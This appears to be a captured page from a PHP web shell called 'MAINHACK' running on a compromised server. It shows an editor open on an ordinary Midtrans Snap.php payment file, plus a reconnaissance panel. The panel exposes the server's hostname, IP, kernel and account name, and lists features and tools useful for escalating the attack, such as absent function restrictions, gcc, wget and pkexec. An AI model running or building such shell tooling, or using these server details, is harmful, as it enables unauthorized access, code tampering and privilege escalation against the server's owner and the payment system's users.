[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Snap.php
<?php namespace Midtrans; use Exception; /** * Create Snap payment page and return snap token */ class Snap { /** * Create Snap payment page * * Example: * * ```php * * namespace Midtrans; * * $params = array( * 'transaction_details' => array( * 'order_id' => rand(), * 'gross_amount' => 10000, * ) * ); * $paymentUrl = Snap::getSnapToken($params); * ``` * * @param array $params Payment options * @return string Snap token. * @throws Exception curl error or midtrans error */ public static function getSnapToken($params) { return (Snap::createTransaction($params)->token); } /** * Create Snap URL payment * * Example: * * ```php * * namespace Midtrans; * * $params = array( * 'transaction_details' => array( * 'order_id' => rand(), * 'gross_amount' => 10000, * ) * ); * $paymentUrl = Snap::getSnapUrl($params); * ``` * * @param array $params Payment options * @return string Snap redirect url. * @throws Exception curl error or midtrans error */ public static function getSnapUrl($params) { return (Snap::createTransaction($params)->redirect_url); } /** * Create Snap payment page, with this version returning full API response * * Example: * * ```php * $params = array( * 'transaction_details' => array( * 'order_id' => rand(), * 'gross_amount' => 10000, * ) * ); * $paymentUrl = Snap::getSnapToken($params); * ``` * * @param array $params Payment options * @return object Snap response (token and redirect_url). * @throws Exception curl error or midtrans error */ public static function createTransaction($params) { $payloads = array( 'credit_card' => array( // 'enabled_payments' => array('credit_card'), 'secure' => Config::$is3ds ) ); if (isset($params['item_details'])) { $gross_amount = 0; foreach ($params['item_details'] as $item) { $gross_amount += $item['quantity'] * $item['price']; } $params['transaction_details']['gross_amount'] = $gross_amount; } if (Config::$isSanitized) { Sanitizer::jsonRequest($params); } $params = array_replace_recursive($payloads, $params); return ApiRequestor::post( Config::getSnapBaseUrl() . '/transactions', Config::$serverKey, $params ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002